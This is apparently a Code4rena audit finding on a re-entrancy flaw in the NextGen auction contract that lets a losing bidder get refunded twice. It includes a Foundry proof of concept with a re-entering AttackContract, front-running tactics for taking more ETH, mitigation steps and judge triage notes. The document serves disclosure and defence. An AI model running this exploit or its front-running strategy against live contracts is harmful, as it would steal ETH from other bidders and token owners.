Losing bidder can double their money

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/AuctionDemo.sol#L104 https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/AuctionDemo.sol#L124 https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/AuctionDemo.sol#L105 https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/AuctionDemo.sol#L125

Vulnerability details

Bug Description

This is similar to another bug I have raised Auction winner can receive the auction token and their money back but differs in terms of tactics and the method of re-entrancy (ETH call vs ERC721). Due to the difference in actor and method of re-entrancy I've added it separately. In this vulnerability the attacker can intentionally front run valid bids and double their money.

The claimAuction() and cancelBid() functions in AuctionDemo.sol have no re-entrancy protection and loose require checks allowing the auction to be claimed and losing bids repaid if the block timestamp is the last second of the auction.

AuctionDemo.sol Lines 104-120

    function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
        auctionClaim[_tokenid] = true;
        uint256 highestBid = returnHighestBid(_tokenid);
        address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
        address highestBidder = returnHighestBidder(_tokenid);
        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }
    }

AuctionDemo.sol Lines 124-130

    function cancelBid(uint256 _tokenid, uint256 index) public {
        require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
        require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true);
        auctionInfoData[_tokenid][index].status = false;
        (bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}("");
        emit CancelBid(msg.sender, _tokenid, index, success, auctionInfoData[_tokenid][index].bid);
    }

If the winner claims the auction on the last second of the auction re-entry is possible from claimAuction() to cancelBid(). Any user with a losing bid will have their ETH refunded and they can use the ETH call to re-enter cancelBid(). As claimAuction() sets auctionClaim[_tokenid] = true; this can only happen once so the attacker will need to have multiple bids they can re-enter multiple times.

If the auction is claimed or engineered (collusion with block builders) to finish on the last second the winner can claim the auction and each of the attacker's bids will be refunded allowing them to re-enter and cancelBid() doubling their money. There's more nuance to the attack wich I will cover in the Proof of Concept.

Impact

This attack drains ETH from the AuctionDemo.sol contract and either valid bidders or the owner of the auction token will not receive their ETH as the contract will have no funds to pay. If the attack is executed correctly each of the attacker's losings bid will be returned twice. This is ETH that would be used to repay other bidders that still have valid bids stored in the system. The attacker steals their ETH and doubles their own.

Whether you accept block.timestamp can be timed or collusion with a block builder it should be noted that this attack can be performed at no risk to the attacker. They either double their money or they get their money back.

Proof of Concept

For maximum ETH extraction the attacker should front run each victim bid with a lower ETH value. If they see a 4ETH bid in the mempool they should bid slightly less. The earlier these bids are registered within auctionInfoData the better, as these are transferred earlier when the auction is claimed.

If any of these victim bids are cancelled the attacker should cancel their corresponding front-run bid. The attacker wants to make sure there's always enough ETH in the contract to return their bid twice. Note though there's no risk here, the attacker will have either 1) Their original bid returned or 2) Their original bid and their cancelled bid.

This is demonstrated in the test test_Loser_FrontRuns_Wins() below;

1. The attacker front runs each bid, and uses an attack contract for each bid so they can re-enter via it's receive() function.
2. claimAuction() is called and the block.timestamp is the last second of the auction period.
3. Each losing bid will have it's ETH returned via the for loop in claimAuction(). Note success is returned but not checked or reverted. NB: The status of the bid is not set to false so cancelBid() is still a viable re-entry target.
4. The receive() function is called on the attack contract and cancelBid() is re-entered. The losing bid is returned again to the attacker.
5. The attacker receives their original bid and another user's ETH, doubling their money.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console2} from "forge-std/Test.sol";
import "./smart-contracts/NextgenCore.sol";
import "./smart-contracts/NextgenAdmins.sol";
import "./smart-contracts/RandomizerRNG.sol";
import "./smart-contracts/RandomizerNXT.sol";
import "./smart-contracts/XRandoms.sol";
import "./smart-contracts/MinterContract.sol";
import "./smart-contracts/AuctionDemo.sol";
import "./smart-contracts/IERC721Receiver.sol";
import "./smart-contracts/NFTdelegation.sol";
import "murky/src/Merkle.sol";
import "./smart-contracts/MerkleProof.sol";

contract AuctionTest is Test {
    NextGenAdmins admins;
    NextGenCore core;
    NextGenRandomizerRNG _randomizerContract;
    NextGenRandomizerNXT nxt;
    randomPool xrandoms; 
    NextGenMinterContract minter;
    DelegationManagementContract registry; 
    auctionDemo auction;

    uint256 reenterCount = 0;
    bytes32[] the_proof;

    function setUp() public {
        admins = new NextGenAdmins();
        core = new NextGenCore("Nextgen", "NEXT", address(admins));
        // Check we are the owner.
        assertEq(admins.owner(), address(this));
        assertEq(core.newCollectionIndex(), 1);

        string memory _collectionName = "Generic collection name";
        string memory _collectionArtist = "Generic artist name";
        string memory _collectionDescription = "Generic artist description";
        string memory _collectionWebsite = "Generic website address";
        string memory _collectionLicense = "";
        string memory _collectionBaseURI = "ipfs://ipfs";
        string memory _collectionLibrary = "";
        string[] memory _collectionScript = new string[](1);
        _collectionScript[0] = "";

        core.createCollection(
            _collectionName,
            _collectionArtist,
            _collectionDescription,
            _collectionWebsite,
            _collectionLicense,
            _collectionBaseURI,
            _collectionLibrary,
            _collectionScript
        );

        core.createCollection(
            _collectionName,
            _collectionArtist,
            _collectionDescription,
            _collectionWebsite,
            _collectionLicense,
            _collectionBaseURI,
            _collectionLibrary,
            _collectionScript
        );
        assertEq(core.newCollectionIndex(), 3);

        uint256 _collectionID = 1;
        address _collectionArtistAddress = address(uint160(uint256(keccak256("ayc"))));
        uint256 _collectionTotalSupply = 10_000;
        uint256 _maxCollectionPurchases = 1_000;
        uint256 _setFinalSupplyTimeAfterMint = 100;

        core.setCollectionData(
            _collectionID,
            _collectionArtistAddress,
            _maxCollectionPurchases,
            _collectionTotalSupply,
            _setFinalSupplyTimeAfterMint
        );

        // Minter pre-requisites.
        registry = new DelegationManagementContract();
        minter = new NextGenMinterContract(address(core), address(registry), address(admins));
        core.addMinterContract(address(minter));

        // Add randomizer details
        // ARNController should be 0x000000000000f968845afB0B8Cf134Ec196D38D4 on Goerli
        address ARNController = 0x000000000000f968845afB0B8Cf134Ec196D38D4;
        _randomizerContract = new NextGenRandomizerRNG(address(core), address(admins), ARNController);
        _randomizerContract.updateRNGCost(2000000000000000);
        xrandoms = new randomPool();
        nxt = new NextGenRandomizerNXT(address(xrandoms), address(admins), address(core));
        vm.deal(address(_randomizerContract), 1 ether);

        //core.addRandomizer(1, address(_randomizerContract));
        core.addRandomizer(1, address(nxt));

        auction = new auctionDemo(address(minter), address(core), address(admins));

        // Collection costs
        //uint256 _collectionID = 1;
        uint256 _collectionMintCost =  6.029 * 10**16;
        uint256 _collectionEndMintCost = 6.029 * 10**16; 
        uint256 _rate = 0;
        uint256 _timePeriod = 600; 
        uint8 _salesOption = 3; 
        address _delAddress = address(core);
        minter.setCollectionCosts(_collectionID, _collectionMintCost, _collectionEndMintCost, _rate, _timePeriod, _salesOption, _delAddress);

        //uint256 _collectionID = 1; 
        uint timeStamp = block.timestamp;
        uint _allowlistStartTime = timeStamp + 1000; 
        uint _allowlistEndTime = timeStamp + 2000; 
        uint _publicStartTime = timeStamp + 3000; 
        uint _publicEndTime = timeStamp + 4000;
        bytes32 _merkleRoot;
        minter.setCollectionPhases(_collectionID, _allowlistStartTime, _allowlistEndTime, _publicStartTime, _publicEndTime, _merkleRoot);
    }
        function test_Loser_FrontRuns_Wins() public {
        address _recipient = address(this);
        string memory _tokenData = "";
        uint256 _saltfun_o = 0;
        uint256 _collectionID = 1;
        uint256 _auctionEndTime = block.timestamp + 2000;

        uint256 tokenId = 10000000000;

        vm.warp(block.timestamp + 1200);
        minter.mintAndAuction(_recipient, _tokenData, _saltfun_o, _collectionID, _auctionEndTime);
        assertEq(core.ownerOf(tokenId), address(this));

        vm.deal(address(100), 100 ether);
        vm.deal(address(101), 100 ether);
        vm.deal(address(103), 100 ether);

        core.approve(address(auction), tokenId);

        // This time attacker front runs each bid be bid over.
        vm.startPrank(address(100));
        AttackContract bid1 = new AttackContract(address(auction));
        bid1.bid{value: 4 ether}(4 ether, tokenId);
        vm.stopPrank();

        vm.prank(address(101));
        auction.participateToAuction{value: 5 ether}(tokenId);

        // This time attacker front runs each bid be bid over.
        vm.startPrank(address(100));
        AttackContract bid2 = new AttackContract(address(auction));
        bid2.bid{value: 10 ether}(10 ether, tokenId);
        vm.stopPrank();

        vm.prank(address(103));
        auction.participateToAuction{value: 11 ether}(tokenId);

        vm.prank(address(101));
        auction.participateToAuction{value: 13 ether}(tokenId);

        uint256 endTime = minter.getAuctionEndTime(tokenId); 
        vm.warp(endTime); //After auction.
        core.approve(address(auction), tokenId);

        //Winner claims
        vm.prank(address(101));
        auction.claimAuction(tokenId);

        console2.log("Balance of attack address", address(bid1).balance + address(bid2).balance);
    }
}

contract AttackContract {
    address owner;
    auctionDemo _auction;
    uint256 _tokenId;
    uint256 _bid;
    auctionDemo.auctionInfoStru[] auctionBids;
    bool reenter;

    constructor(address auction) {
        owner = msg.sender;
        _auction = auctionDemo(auction);
    }

    function bid(uint256 amount, uint256 tokenid) payable public onlyOwner {
        _tokenId = tokenid;
        _auction.participateToAuction{value: amount}(_tokenId);
    }

    receive() payable external {
        console2.log("Received called with ", msg.value);
        if (!reenter) {
            auctionBids = _auction.returnBids(_tokenId);
            for (uint256 i=0; i< auctionBids.length; i++) {
                if (auctionBids[i].bidder == address(this)) {
                    console2.log("Cancelling bid %s and %s", i, reenter);
                    reenter = true;
                    _auction.cancelBid(_tokenId, i);
                }
            }
        } else {
            console2.log("Received second re-enter!!", msg.value, reenter);
            reenter = false;
        }
    }

    modifier onlyOwner() {
        require(owner == msg.sender, "Not the owner YO!");
        _;
    }

    function onERC721Received(address operator, address from, uint256 tokenId,bytes calldata data ) external returns (bytes4) {
        console2.log("NFT RECEIVED YO");
        auctionBids = _auction.returnBids(_tokenId);
        for (uint256 i=0; i< auctionBids.length; i++) {
            if (auctionBids[i].bidder == address(this)) {
                console2.log("Cancelling bid %s and %s", i, reenter);
                reenter = true;
                _auction.cancelBid(_tokenId, i);
            }
        }
        return IERC721Receiver.onERC721Received.selector;
    }
}

Tools Used

Vim

Recommended Mitigation Steps

The protocol should implement re-entrancy protection modifiers on the claimAuction() and cancelBid() functions in AuctionDemo.sol via something like OpenZeppelin's ReentrancyGuard for all state changing functions.

Check the success and if it's not true then revert in claimAuction();

(bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
require(success, "ETH Payment failed");

Reverting on success opens up other attack surfaces. The protocol could look at converting all bids from ETH to WETH within participateToAuction() to avoid direct ETH calls.

Tighten the require statements in claimAuction() and cancelBid() so that there is no single timestamp where you can perform both functions. For example;

Change cancelBid() to be < rather than <=.

    function cancelBid(uint256 _tokenid, uint256 index) public {
-        require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
+        require(block.timestamp < minter.getAuctionEndTime(_tokenid), "Auction ended");

As each bid is processed in claimAuction() it's worth setting the bid's state to false which would have prevented the re-entrancy via cancelBid() as that function requires the status of the bid to be true.

Assessed type

Reentrancy

[c4-pre-sort]

141345 marked the issue as duplicate of #1904

[c4-pre-sort]

141345 marked the issue as duplicate of #962

[c4-judge]

alex-ppg marked the issue as duplicate of #1323

[c4-judge]

alex-ppg marked the issue as satisfactory